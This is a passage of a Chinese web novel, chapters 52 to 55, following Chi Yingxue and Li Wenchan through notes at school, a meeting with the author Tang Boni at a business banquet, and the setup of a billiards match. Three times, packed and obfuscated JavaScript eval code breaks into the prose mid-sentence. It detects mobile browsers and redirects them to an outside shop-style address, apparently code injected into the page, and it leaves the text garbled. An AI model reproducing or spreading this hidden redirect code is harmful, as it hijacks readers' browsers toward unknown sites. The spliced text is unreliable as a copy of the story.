李闻蝉疑惑,“我没有……” 他猛然合上唇。 管家不明所以:“不是您的吗?” “那或许是他们搞错了,我现在就去帮您扔掉。” “等等。” 李闻蝉声音有几分颤抖,“你说,在我的储物间对吧?” 在管家诧异的目光和呼喊中,他转身奔向位于大堂西边的住户储物间。 砰! 属于他的那扇门被打开,李闻蝉骤然降下速度,一步一步踏向黑暗房间里的洗衣篮。 黑白灰的整洁衣物最上方,轻飘飘的躺着一张纸片。 啪。 跟在身后赶来的管家打开顶灯,薄薄的纸片在他指尖被照亮。 金绿色的树叶,像是灿烂的夏天。 空白那面用橘色彩墨书写几行文字,纤细漂亮,字体圆圆。 「蝉的声音,是怎样的呢。」 不知是不是错觉,句号点的像一个爱心。 下面还有。 「我有好好练习舞蹈。」 写到这里,笔迹有些抖,横不平,竖不直。 见字如晤。 李闻蝉的唇不自觉弯起,又在看到下一行后滞住,如胸腔轰鸣前的空白。 「可以和你一起跳舞吗?在明天的生日会上。」 「……如果你没空,我就去找别人了。」 52. 第 52 章 清晨。 池映雪刚睁开眼,电子屏就弹出来。 难得早起一回的系统抱着小篮子撒花。 [宿主宿主,昨晚你一回来就睡了,错过了两件大好事!] [男主大人的好感在几秒内从41飙到49了!而且这次超级稳,直到现在都没有变过!] 池映雪眨眨眼。 眼珠向左移,又看见另一个框框。 [叮!“送出爱的明信片”任务完成,更新为:“和男主听同一首歌”。] 昨天坐在地铁上,她原本打算找机会联系池静俭,问问他有没有唐女士的号码。 但经此一事,池映雪暂时将备忘录里编辑好的文本搁置。 她今天到校很早,路过窗户,教室里只坐着零零散散几个同学。 池映雪推开教室的后门,停在原地。 她的桌面,昨天晚自习后已经清空了除书架笔筒外的所有物品,此刻却满当当地堆着不少东西。 黑巧,薄巧,巧克力奶,巧克力甘纳许;葡汁软糖,葡萄美式; 两张空白的明信片,图片上的城市应该是HK,贴有非常漂亮的邮票,旁边还有几本叠放整齐、封面反扣的书籍。 池映雪放下书包,把书翻过来。 《重生之校霸有点帅》。 《大神一边去:逆袭后和校霸HE了》。 《恶魔霸王他很甜》。 池映雪:“………?” 右侧的课桌上,黑色斜挎书包随意撂着。 长长的黑色布带垂下,被后门开关扬起的风吹起。 难得这么早看见他。 池映雪和李闻蝉对视一眼就淡淡地收回视线,抱着书包坐下。 [宿主不是要向男主大人寻求帮助?眼下是个好机会呀!] 池映雪腰挺直了些。 “不急。” 余光里某人在座位上翻来覆去,一会喝水一会整理书本,时不时瞥来两眼。 池映雪压住唇角,权当做没看见。 她把吃的和小说放入抽屉,桌上只留一杯美式,然后捧起小册欣赏诗词。 翻页的速度比平时慢了不少。 一个纸团飞过来。 池映雪优哉游哉地看完一篇古文,直到隔壁已经快将她盯穿,才慢吞吞打开。 「疼。」 捏着纸条的手指紧了紧,池映雪朝右侧头,才发现李闻蝉虚弱地趴在桌上。 额头贴在桌檐,手掌捂着腰腹靠左的位置,隐约可在低下的侧脸上看见咬紧的腮帮。 侧脸忽然变成正脸,和她目光交汇后迅速转回去。 没捂肚子的那只手灵活地掏出另一个纸团,再次丢过来。 「没有云南白药喷,伤一直好不了。」 「都怪我,把唯一关心我的好同桌气跑了。」 「你说要怎么做,她才会原谅我?」 池映雪强忍住笑意,故作淡然,把两只纸条叠成小方块扔进抽屉,微微仰着下巴向右看去一眼。 垂在右边肩前的麻花辫尾部随之轻动,像一弯月亮向上勾了勾,上翘的睫毛亦然。 然后,她若无其事地坐正,重新拿起册子品读。 “嘿……” 李闻蝉脑袋稍稍一偏,有一下没一下很轻地磕在课桌边沿。 墨黑色碎发垂下,长眸眯起,唇角扯开,喉结不自觉滚动,清声拉得很长。 [叮!攻略对象好感+0.5。] [当前男主好感:49.5。] 英语早读时,Stella没有像往常那样让大家自由背诵,而是点了两个人上讲台听写。 这种测验,池映雪一向是不参与的。 她低着头自己复习单词,听见来自右边书写的沙沙声。 其实李闻蝉英文水平不错,偶尔哼歌或随口跟着大流念课文时,发音也很好听。 同样是在考场上睡大觉,数学考试他也许真不会,但英语纯粹是懒得写。 想来也是,这种未来的商业巨鳄,还不断往返于南城、HK、国外,英语尤其是口语再差也不会差到哪里去。 最近气温持续下降,今天难得转暖,太阳高悬。 风吹过树叶,摇摇晃晃,窗边荫影不断移动,时不时穿透进来的日光有些晃眼。 池映雪不禁眯起眼,睫毛颤栗。 唰! 很猝然的一声,刺目的灼感乍然尽散,一片浅幽蓝色的阴凉落下。 李闻蝉侧对着她,高挑身形站起又坐下,窗帘将太阳光挡了个正正好。 听写完不久,早读亦结束,粉笔字密密麻麻铺满黑板。 池映雪抱着水盆去洗手池,打开水龙头在一旁等待。 水柱缄默地直流而下,忽然有了哗啦啦的声音。 侧首,李闻蝉骨骼分明的手指关节在水流冲洗下呈现淡而莹润的粉红,衬得肤色更透白。 他洗完手,随意扫一眼她面前的盆,径直端走,一并带走的还有刚清洗过的抹布。 池映雪从前门进入教室时,李闻蝉已经开始擦黑板。 他身高手长,擦起来尤其方便。 高瘦宽肩,校服袖子抬起时,阔背浮起隐约线条,令观者赏心悦目。 短短时间,池映雪已经看到好几个女生举起手机拍照,只是都不约而同,在他转身放黑板擦时迅速收起。 池映雪:这人人缘好差。 她在座位上抿了抿嘴,出门一趟又回来。 李闻蝉已经擦完黑板,在座位上用纸擦手。 胡挚转过头和他说话,池映雪就没去打扰。 直到大课间,她停下笔。 站起身,从抽屉里取出刚拿到的东西,朝后门走、路过他身后的时候,声色不动地放在那面课桌上。 李闻蝉手里转动的笔瞬间停滞。 一盒崭新的伤药喷雾被他双手拿起来反复把玩,长指转动方盒,盒子上每一个印刷黑字都好看。 [叮!攻略对象好感+2.5。] [当前男主好感:52。] 李闻蝉坐直身,惬意地朝窗外看去,左唇角外的梨涡在看清女生远去的背影时荡然无存。 他猛然开窗,半个身子探出去:“池——” 啊,忘了。 她听不见。 池映雪却恰好回头,不解地眨了眨眼。 李闻蝉下意识弯唇,眉眼间溢出点点光亮。 他将手搭在窗台上,下巴轻点她手里的数学卷子,又冲办公室的方向摇摇头。 徐静萌今早没课,去参加一个杰出女教师分享会,早操都是请体育老师帮忙带的。 池映雪也笑了,耸耸肩,颔首。 她知道啊。 她晃了晃手里的提高综合卷,手指楼上。 这是齐老师在五班最后一天留给她的题,本来早就能做完,只是前几天有些懈怠,最后一道题也迟迟没有思路,才拖到现在。 池映雪走后,窗户被用力合上。 窗帘拉开,阳光直射进来。 李闻蝉靠在椅背上,双手交叉在胸前,高挺鼻梁的正上方有一道浅淡竖影,黑眸沉沉。 再看一眼隔着一个过道的墨紫褐色美式,嘴里发苦。 章子健替请假的课代表收英语报纸,收到现在还没收齐,Stella让一班课代表邢芷来下最后通牒。 五班后门口,章子健讪笑着走向她。 “收齐了,我们走吧。” 邢芷只看了一眼,精致的脸险些挂不住:“你确定?” 章子健怀抱超薄的一沓报纸,满脸正气:“确定!” 邢芷:“呵呵。” 邢芷上下打量他一眼,不由分说地将整沓报纸全部抽走,随便翻了两下,“据我知道的五班同学,你这里没有胡挚,没有万苏瑶。” 她很不易察觉地停顿半秒。 “没有李闻蝉。” 章子健尴尬地看天看地。 李闻蝉忽然从抽屉里翻出一张空白的英语报纸,大步走向他。 “没错,我没交。” 章子健:? 李闻蝉从邢芷手里拿走报纸,最上面那张就写着娟秀的“池映雪”。 他眼角弯起,对章子健轻咳一声:“所以我要自己去向Stella承认错误,报纸我也一起交,就不辛苦你跑一趟了。” 说完不等原地的二人反应,火急火燎地冲出教室,向楼上小跑而去。 章子健目瞪口呆,对邢芷寻求认同感:“合着我刚收作业时充耳不闻的那个人不是他?” 邢芷不自然地睫毛闪动,整理了一下短发侧边的黑色蝴蝶结:“也许只是突然想要好好表现了呢?” 池映雪刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635272|143743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在齐幂的工位上找到凳子坐下,就被连扣好几点好感,又回到48。 趁着齐幂浏览试卷的功夫,池映雪抬眼扫视整个办公室。 李闻蝉的影子没看见,倒是和正好进门的沈星桥对视。 他手里也拿着同一套试题,噙着熟悉的笑疾步走来。 齐幂:“你来得正好,你们两个对着答案交换判一下正误,顺便学习对方的解答思路。” 天气晴朗,颜色将变未变的银杏叶在窗外青绿微黄。 秋风静静地吹拂女生安静侧脸边的碎发,以及男生整齐校服前的领带。 李闻蝉一踏进办公室的门,看见的就是这幅鬼样子。 他掉头出门,徘徊数十步,又轻手轻脚地走向Stella的工位。 果不其然迎来小老太太一顿痛批,喜提罚抄大礼包。 李闻蝉双手背后,抓住Stella口干补水的空隙,迅速掀起眼皮朝齐幂那边看。 整齐的桌面前笼罩精英与好学生的气息,两个脑袋还低着,专心沉浸在阅卷中,没有交流,也没留意他这边的惨状。 李闻蝉松了口气,将腰放得更弯,整个身子都被工位的不透明隔板和两盆桌植遮挡。 池映雪回班的时候,李闻蝉蔫蔫地在座位上罚抄,笔尖冒火。 胡挚不忍直视:“你说你图啥。” 李闻蝉头也不抬,闷着声道:“啥也不图。” “可能……想帮朋友看着点吧。” 胡挚:“哈?” 帮谁?章子健吗? 李闻蝉扯了扯嘴角:“你说当朋友也挺好的是吧,友谊天长地久。” 他抄写单词的手一刻不停,垂眸怔然于潦草而苦涩的纯黑墨迹。 flutter。 课间结束,下一门的老师走进教室。 池映雪趁她复习上节课件,向右边投以好奇的目光,被终于停笔的某人精准捕捉。 李闻蝉口型清晰:“好、好、学、习。” 他用笔尖指向台上的老师,对她挥手示意转回去,“上课别开小差。” 喷雾盒子还放在他的手边,在几乎空荡的课桌上尤其醒目。 池映雪嘴里含着的美式险些喷出来。 李闻蝉,劝学,她,吗? 池映雪努了努嘴,解锁平板,把沈星桥那番劳逸结合的话向他复述一遍。 李闻蝉放下笔,拿起手机就深深皱眉。 「这是谁和你说的?你看看这人学不学呢。」 「人家都是演你的,就你傻乎乎的真信。享受课余生活可以,但高三前放开玩纯就是扯。」 李闻蝉恨铁不成钢:「池包子,你这都交的什么朋友?赶紧绝交,不然迟早让你难过。」 池映雪鼓起腮帮:「你管我。」 李闻蝉眼中闪过不自然,手指轻擦过人中,舌尖抵在门牙后。 「我可是你小叔,我不管你谁管你。」 池映雪微笑。 李闻蝉见状也笑起来。 却见她把平板一放,收进抽屉,迅速撇嘴。 李闻蝉眨眨眼,笑容凝固:? 等到老师结束放映,用小蜜蜂讲课,他才再次收到消息。 李闻蝉手里还握着笔,来不及放下就点开。 小雪:「我交的什么朋友,你不清楚吗。」 小雪:「不就是你吗。」 李闻蝉单手握拳,放在嘴边:“咳咳。” 他的拳紧了又松,松了又紧,在看到下一条消息后彻底僵硬。 小雪:「又是朋友,又是小叔,我当然要向你学习。」 「所以我决定了,从明天开始我也不写作业,上课睡觉,好好享受美好的高中生活。」 李闻蝉:!!! 他把头埋到桌檐下,手靠膝盖,噼里啪啦地打字。 李闻蝉:「不行!」 「我学。」 「我要好好学,所以你也是,听到没?」 池映雪听见他压低的抽气声,笑得肩膀都抖起来。 笑着笑着,扫到系统身边大大的好感度数值,眉眼冷静了些。 李闻蝉暗暗瞪她,嘟囔道:“精华不学,净学糟粕。” 手掌心传来震动,他火速低头查看。 小雪:「嗯……」 小雪:「那你再答应我两件事?」 53. 第 53 章 唐伯霓自高中时代就是风靡全国的畅销作者,数十年来,写过穿书、校园、电竞、港风……每一本都开创各时期小说的流行风向。 或许在初期,譬如《他的小猫咪》那样文笔偏幼稚,现在看还有点“油”。 但池映雪不得不承认,她看书的时候一边皱眉,一边按耐不住往下看,仿佛有魔力。 更厉害的是,她并非局限于文本创作。 唐家很有钱,唐伯霓亲自投资并改编这些书为影视剧,红遍大江南北,同时开展慈善事业。 此后更是与HK的版权产业大佬定情,将作品引向海外,事迹还被HK的电视台改编为《版权女王》在黄金档播出。 今天,南城本地豪门设宴接待某位M国资方,名流云集于盛池名下的大酒店。 唐伯霓刚在国外谈完版权,本来直接回HK,受李闻蝉的邀请,最终确认出席。 站在金碧辉煌的酒店大堂,不过几秒就有身着西装的姐姐走向池映雪,亲切热情地领着她前往宴会厅。 见唐伯霓,是池映雪拜托李闻蝉的第一件事。 他原本要和她一起来,只是池老爷子临时将他带去公司总部,所以约定在宴会厅现场见面。 下了电梯,走到气派的檀色大楼梯前,西装姐姐用手语告诉池映雪她不能陪她上去,只要顺着楼梯向上走一层半就能看见宴会厅的门。 池映雪对她颔首致谢,提着自然垂落的洋装裙摆踏上楼梯。 欧式的圆弧形玻璃窗在木调楼梯间投下透明白亮的光柱,细小的颗粒在空气中浮动。 通往更上层楼梯的拐角,一位盛装妇人侧对池映雪,正对她面前的清隽男生强势的说着什么,手指还戳了戳男生的腹部。 看氛围和她的表情,不是什么愉快的事。 池映雪看清男生的脸,抬起的脚小心地收回,打算悄悄离开。 就在这时,沈夫人转身走远。 沈星桥面上的笑淡去,朝池映雪走来。 还是被发现了。 池映雪讪笑。 沈星桥深深地凝视她一眼,从西装口袋里取出手机:「是池老先生让你来的吗?」 池映雪含糊道:「算吧。」 沈星桥没多问,笑容扩大了些,不达眼底。 转而骤然失落地垂下眼,靠在她身边的扶手上。 「让你见笑了。」 池映雪指了指自己的耳朵,朝他耸肩。 沈星桥愣了片刻,呼吸不自觉放轻,这回没有笑。 他的手摩挲在冰冷的扶手上,低下头打字:「今年数竞的结果正式公布,我又是省一。」 池映雪没研究过竞赛,但一听就很厉害。 刚要祝贺,又见新的消息,「可也止步于此,没有进省队,没办法保送,让母亲失望了。」 池映雪看看屏幕,又看看沈星桥,一时不知回什么好。 「但也没有很糟对吗?马上就是期中考,我还有向母亲证明自己的机会。」 沈星桥重新挂上微笑,「只要还是第一,持续拿到校长奖学金,最后也可以拿到推荐信或名额。」 池映雪重重点头。 小雪:「我特别敬佩你,从图书馆到来虹文以后,每次看到你都在学习,就连我们聊天也在讨论问题。」 「大家不是都叫你“沈神”吗?你肯定没问题的,真的!」 她的赞美太坦然,单纯的相信,不含一丝杂质。 沈星桥眼中滑过微妙的情绪,目光定格在上面那行对话框,握着手机的手掌过于用力,发出清脆的骨骼声。 池映雪并没听见。 她是真的这样想,所以露出善意的笑容仰起脸。 数十个台阶之上,厚重华丽的木门忽然被从内推开,拉出一道长长的木头声。 池映雪眼皮一跳,滞着呼吸将脸换了个方向。 又是西装。 如果说生日宴那天是张扬,有许多搭配上的巧思,今天就更加正式。 黑色西装、黑色皮鞋,头发没有再侧分,和平时一样垂落,却依旧不见柔和,透着一股得天独厚的傲。 李闻蝉的手还放在门上,背景的灯光闪烁,照得他高瘦宽肩有几分萧瑟。 那只手快速在门上敲点几声,他朝池映雪挑了下眉,露出一个识趣的淡笑,快步离去。 [警告!攻略对象好感-4。] [当前男主好感:44。] 门没关,池映雪跟在沈星桥身后走上楼梯,婉拒他伸出的手臂,对系统若有所思道:“你的男主大人不对劲。” “最开始我记得他很喜欢看见我和沈星桥走在一起的,尤其是学校附近的巷子里,还给我加了好感。” 池映雪叹息,“可我现在才发现,最近好几次,他一看见我和沈星桥,就降好感。” 还立马走人。 她也没办法叫住他。 系统:[宿主,你有没有想过一件事……] [男主大人,会不会是在吃醋啊?] 池映雪猛然停住,差点被上一节阶梯绊倒。 沈星桥关怀地回眸。 池映雪摆摆手,低头用刘海遮住神色。 “不可能。” 提裙摆的指尖泛白,薄薄的浅蓝色羊毛褶皱明显,“怎么可能。” [怎么不可能?] 系统鼓起小脸,[我用本统的统品担保,绝对是吃醋!] 池映雪正好迈上最后一节台阶,金灿灿的宴会厅在暗色系门廊中尤其辉煌耀眼。 “……是吗?” 她松开裙摆,轻拂褶皱,“或许吧。” 系统正要为她的开窍摇旗呐喊,池映雪接着在心里强调,“我听苹安说过,朋友之间也会有占有欲。” “如果李闻蝉吃醋,应该就是因为这个吧。” 系统一下子静默不动。 良久,它耷拉着脑袋,在电子屏前重拍键盘。 [说白了,宿主就是不乐意和男主有更深层的联系嘛。] 系统百思不解,[那好歹也是我们天道局千挑万选出来的气运之子,怎么宿主就这么理智呢!] 池映雪走过木门,站在光下眺望人群的正中心。 最为耀目的巨大水晶灯散落迷人的光,觥筹交错。 有一个修长身影散漫地手举果汁,配上那张浓颜帅脸尤其扎眼。 少年初长成沉稳风貌,套在矜贵西装里,一举一动不必拘束,便不经意流露出自若的优雅,在一众商界名流、豪门大佬中毫不逊色,甚至称得上一句众星捧月,众望所归。 隐约能听见李闻蝉口中那些有关盛池发展的专业术语,以及偶尔对其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635273|143743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 余人犀利神态的妙语相应。 池映雪无端联想出那个剧情里在商场中叱咤风云的“他”,和在学校里不好好穿校服,上课睡觉,下了课也会和前桌言笑打闹的清爽少年有几分割裂。 站在这里看,池映雪才真正明白万苏瑶那句“没架子”的含金量。 只是,她总觉得他有些心不在焉。 唇角在笑,眼睛却没有。 沈星桥递来一杯冰甜拿铁,池映雪慢吞吞地转头,双手接过。 他还要跟着沈夫人去向认识的人打招呼,先一步离开。 唐伯霓和池老爷子在顶楼与M国的资方见面,还没有到场,池映雪百无聊赖地靠在摆放鲜花的方桌边沿。 以池润自己公司的体量,这样的顶级商业宴会是进不来的。 富豪们在池映雪的生日宴上给面子,本质上是认为在大房后继无人的情况下,池老爷子有可能将盛池传给池怀元,前提是李闻蝉不要。 今天出现在这里的有三股势力,盛池、唐伯霓代表的HK资本和蒋家人,以及蒋家人背后的势力。 据李闻蝉的讲述,M国的那位菲尼先生落地前,三方就达成共识:不谈旧怨,合力促成合作。 但这些都和池映雪没什么关系,她只是来向唐女士自荐。 池映雪将拿铁捧在手上,嗅见甜甜的气味,没有喝,抬起眼环视偌大的宴会厅。 人群中似乎闪过一道无比熟悉的身影,有着和她相似的面庞。 池映雪直起身,正要仔细看去,温热的气息与阴影同时落下,将视野和注意力完全占据。 李闻蝉表情淡淡的,在她旁边的位置倚靠,抬手轻而易举捻走拿铁,换成一杯浓黑的美式。 苦涩的香气扑鼻,池映雪垂着眼,手指在杯壁上动了动,两只手托住杯子饮下。 好喝。 李闻蝉刚应付完过来寒暄的生人,见状抬了抬唇角。 黑眸怀揣隐秘的得意,朝远处盛装女子和温润少年的方向瞥去一眼,将拿铁送入口中。 “……” 俊脸一下子皱起来,鼻尖轻动,咳了两声,转头去找糖包。 池映雪:不是吧。 这还嫌苦? 刚才还在名利场里游刃有余的男生往咖啡杯里加了两整袋糖,搅拌后浅尝,露出舒心的笑。 池映雪忍俊不禁。 李闻蝉刚喝下第二口,心满意足之余就捕捉到这一幕。 他扬起下巴猛灌第三口,滚动喉结,手撑在洁白的桌布上,眼神威胁:“笑什么?” 池映雪唇边的弧度压下去,笑声却在胸腔中如有实质。 李闻蝉磨牙又咬合,喉咙发紧,移开眼与她并肩前视,小金属勺在浅色的咖啡里搅来搅去。 比勺子碰撞更清晰被聆听的声线清冷,却裹挟促狭的笑意。 像是松软的莹白从摇曳的细枝头扑哧而下,抖落点点雪花。 李闻蝉的耳垂染上粉红,终于无可忍耐,将咖啡杯胡乱放在桌上。 “你再笑我就——” 爽朗大方的女声打断他尚未说完的话:“又见面了,李闻蝉。” 李闻蝉侧首,闲靠桌边的身体直立。 清声中带有尊敬和低沉:“唐姨。” 池映雪耳朵竖起,收起一闪而过的思绪,随之望去。 54. 第 54 章 池映雪连忙跟着他起身,刚举起手便恰与那位在百科里见过的优雅女士对视。 和沈夫人的盛装出席相比,唐伯霓穿得十分简单。 裁剪得体,黑白两种配色在连衣套装上不显敷衍,别有干净利落的风范。 她向池映雪颔首,重新看向李闻蝉:“这就是那位真千金,你亲爱的小同学?” 李闻蝉眉心微动。 他不置可否,退后一步,虚抬手将池映雪凸显:“她做的企划方案我已经发给您了,你们谈。” “我看了,写得不错,你有润笔吗?” 不等他回答,唐伯霓自顾自笑起来,“肯定没有对吧?毕竟文笔那么好。” 李闻蝉:“…………” 李闻蝉看了眼池映雪,嘴唇微动,指了指别的方位。 池映雪猜测他还有事,接下来得靠她自己争取。 小手在身侧悄悄蜷紧,终究用力地点了一下头。 肩膀旁边一空,她深呼吸,转向笑容玩味的唐伯霓。 唐伯霓将池映雪带到宴会厅的一处小阳台。 刚要关门,缝隙里探出一只黑色皮鞋。 唐伯霓斜眼,在门外的墙后看见贴墙侧立的李闻蝉。 给唐伯霓整乐了。 这是怕她吃人啊? 她好心地虚掩上门,哼着歌靠在栏杆上,翻出李闻蝉推给她的V信号。 池映雪再次编辑来意,被她拦下。 「不用赘述,你发来的方案我看过。」 唐伯霓仔细打量眼前的小姑娘,娃娃脸谈不上,但是因为婴儿肥有些幼态,典型的乖乖女长相。 刚才远远一看,眼睛鼻头都圆圆的,像只小兔子。 就是这样一只兔子,写了一份令她都赏心悦目的策划方案,还顺利递到了她眼前。 虹文是唐伯霓的母校,亦是她慈善事业中教育领域的起点,每隔几年就要回校访问。 池映雪在报告中提出由她陪同接待的想法,将单纯的访校变成一次公益访问——她真的很懂自己的特质:聋哑,流落千金,还是一鸣惊人的年级前五。 唐伯霓记得她看完后饶有兴致地和李闻蝉通话:“这位小同学是怎么炼出这么强大的心脏的?如果我在十六七岁时有她这样的经历,只会觉得身处劣势,她倒是把劣势作为优势来利用。” ——李闻蝉当时是怎么回她的来着? 回忆终止,唐伯霓接着发消息:「找你是有别的事想问。」 「毕竟你也知道,我是李闻蝉妈妈的挚友。」 她目光怀念,「她不在了,我总得多关心关心她唯一的孩子。」 门外的李闻蝉仰起脸,头顶在冰凉的壁纸上。 哼…… 池映雪不由紧张起来。 「您请问。」 唐伯霓严肃地盯着她,盲打字。 池映雪屏息凝神。 「看过我的书吗?」 池映雪:……? 池映雪弱弱:「看过的。」 「哪本啊?怎么样?」 「《他的小猫咪》。」池映雪想了想,补充,「您的处女作,很好看。」 唐伯霓表情瞬间和吃了苍蝇一样。 她就不该问。 那可是她人生唯一的黑历史,她至今忘不了李闻蝉他妈在她面前念出男主台词的那一刻。 “小喵喵,别勾哥哥,哥哥会忍不住的。” 唐伯霓怜爱地看了一眼满脸真诚的池映雪。 这孩子眼光可太差了…… 李闻蝉在门外狂点头。 唐伯霓轻咳一声:「真假千金那本看过吗?」 见池映雪摇头,唐伯霓眼里闪过几不可查的审视,「你对那位假千金什么看法?我听说,你家里并没有把她区别对待,反而照样带着她参与各种宴会和活动吧。」 李闻蝉皱起眉,不禁回过头。 他小心地探出半张脸,屏住呼吸,观望里面的情形。 「你嫉妒她吗?还是羡慕、恨、委屈,或者相惜?」 池映雪清亮的眸瞬间茫然。 与她前几天下车后没想明白的问题不谋而合。 「……我不知道。」 她慢慢地,边思考边打字,「也许都有,也许都没有。」 「一开始是羡慕的吧,我也想头顶光环,被所有人喜欢。」 女主光环,男主光环,一个比一个遥远。 「看到我的亲人和她更亲密,我会很难过;和她不愉快的时候,我会不平静。」 「我必须向您坦白,之所以想要争取接待您这个宝贵的机会,有两个原因,其中之一就是她也想得到,而在这之前她伤害了我。」 「我想争一口气。」 池映雪边打边在心里默念,「想证明自己,不会输给她。」 风将阳台的门吹上,最后一丝透亮的缝隙消失。 李闻蝉睁开眼,手轻贴上门,无声地拍了拍。 手指与神经相连的地方没来由的一阵刺痛,他悄无声息地离开。 阳台上,唐伯霓举起手机,挑眉,默了很久。 在池映雪逐渐惶恐的时候,头被很轻柔地抚摸。 “好孩子。” 唐伯霓揉完,帮她整理好头发。 「有的事情不用想通,瞻前顾后反而困住自己。」 「你当下的感受是什么,你的直觉告诉你哪里不舒服,就去完成它、反抗它,不用担心你是否真善美。」 「等一切结束,你抬头。」 「光环就在你头顶。」 池映雪愣在原地。 「还有就是……」 唐伯霓的神色有些耐人寻味。 池映雪低头沉浸在消息里,并没察觉。 「你和她争,在向谁证明自己,要想清楚。」 「对了,你说这是一个原因,那另一个呢?」 池映雪眼中的迷雾瞬间退去,眼睛亮晶晶的,看得唐伯霓心头一软。 然后眼睁睁看着她从肩侧的小包里取出一本书和一根笔,封面上写着五个大字。 他的小猫咪! 「唐老师,我有个朋友是您的忠实书迷,这是她借给我的书,可以请您为她签个名吗?」 唐伯霓:“…………” 她麻木地接过书和笔,翻开扉页。 彩图里邪魅狷狂的男主双眼通红,双手掐住女主的蚂蚁腰,抵在墙角,对她耳朵吹气。 旁边还有个气泡,配文:做我的喵~ 唐伯霓:我想静静。 唐伯霓要留在阳台抽根烟,池映雪先行回到宴会厅。 她神清气爽,走路一蹦一跳。 李闻蝉隔老远就看见,不由松了口气,低低地闷笑。 池老爷子:“……你到底有没有认真听我说话?” 李闻蝉不经心地用鼻音哼了声。 “听见了,菲尼爱打台球,自诩技术一流。一会你们要给他搬个球桌来宴会厅,好好哄他签约。” 池老爷子:“我记得你台球打得好,你陪。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635274|143743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >李闻蝉:“不要。” “我把浮影给你。” 李闻蝉:“你把全球全部的三台都给我,都不要。” “不是我推脱。” 他挑起眉,“有个人比我更合适。球好,人聪明,和你的关系也更近,考虑考虑?” 池老爷子:有这样的人? 李闻蝉白了他一眼,长腿迈开,三两步拽回一个懵懂的身影。 路过的池映雪:??? 得知他的意思后,池映雪摆手。 她…… 李闻蝉像是窥见了她的想法,敲了敲她头顶的发旋。 “可以。”他微俯下身,口齿清晰道,“你可以。” 低柔的音色和清冽的气息一起萦绕在池映雪的耳畔、鼻尖,她抓了抓裙摆。 她真的可以吗? 李闻蝉站起身,俯视那两扇颤抖的羽睫。 “可以的。” 他忽然蹦出一个单词,“flutter。” 池映雪抬起眼。 「flutter。」李闻蝉在屏幕敲下。 颤振,振翅,翩翩飞舞。 怦怦乱跳。 小赌注。 「你要是可以顺利做到,就答应我一个要求。赌不赌?」 池老爷子看看李闻蝉,看看池映雪。 不知为何温驯下来的养子。 完全不熟,莫名能让养子温驯下来的侄孙女。 话说,有人问过他这个老头子的想法吗? 池映雪晕乎乎的,直到服务生帮忙将她的小挎包寄存到客房,而她站在宴会厅莫名其妙多出来的台球桌前,才反应过来。 不对呀! 她顺利做到,凭什么要答应李闻蝉的要求? 难道不该反过来吗? 池映雪恍然地朝李闻蝉瞪去,气得嘴巴都微微张开,好像下一秒就要被他气说话了。 李闻蝉正在帮她擦巧粉,梨涡漾起来,得意地吹了个口哨。 池映雪向系统指指点点:“看看,这就是你的好男主。” “我算是知道为什么他后来能在豪门商战中脱颖而出了,真是奸商!” 系统学着李闻蝉吹口哨,悠悠飘走。 李闻蝉手指的动作停顿,古怪地皱起眉,环视一圈宴会厅。 池老爷子刚和菲尼交谈完,背手走来:“怎么了?” 李闻蝉摇头。 过了一会,他不大确信地问:“宴会厅里有猫吗?” 池老爷子:“……你要不要听听你在说什么?” 菲尼金发蓝眼,大鼻子发红。 人过中年不见富态,反而有经常健身的痕迹,健美壮硕。 他看见对手的池映雪,先是愣住,随后笑着转向池老爷子:“你在逗我吗?” 菲尼自认高人一等的目光扫过围观众人。 “还是说——你们泱泱大国这么多人,只能找出一个柔弱的小姑娘应战?” 池映雪的身边站有临时找来的手语翻译员,正是刚才带她上楼的姐姐。 看完手语,她的唇角向下,转向李闻蝉。 这就是她要“哄着”“陪玩”的人吗? 李闻蝉显然也没有料到对方是这个态度,不过他不是第一次见这种嘴脸。 狭长的眼中闪动桀骜火星,站姿挺直,很傲地睨去一眼。 接着,回头与池映雪对视,倏尔挑眉,摇了摇头。 池映雪看清了李闻蝉的口型,浅浅地绽开笑容。 他说,管他的。 55. 第 55 章 管他呢。 围观的众人原本见李闻蝉擦拭球杆,都乐见其成。 结果李闻蝉双手将杆交给了一个名不见经传的女孩,从进入宴会厅到现在,注意到她的人都寥寥无几。 “那是谁?和蝉少什么关系?” “不认识。莫非是请来的帮手?” “蝉少还用得着请帮手?况且菲尼先生说的没错,这小丫头片子柔柔弱弱的,打得动吗?” “我想起来了!”有人惊呼,“这不就是小池家才找回来的那个——” 聋哑女孩。 看客纷纷安静下来,都在思索老爷子和李闻蝉是不是闹着玩。 蒋傅站在副市长助理身后,想到上次吃瘪的经历,瞪向一旁眉弯眼圆的男子,却见他月眉皱起,很是担忧的模样。 池老爷子扶着耳边的同声传译器,眉目不显,声音从友好转为威严:“拭目以待。” 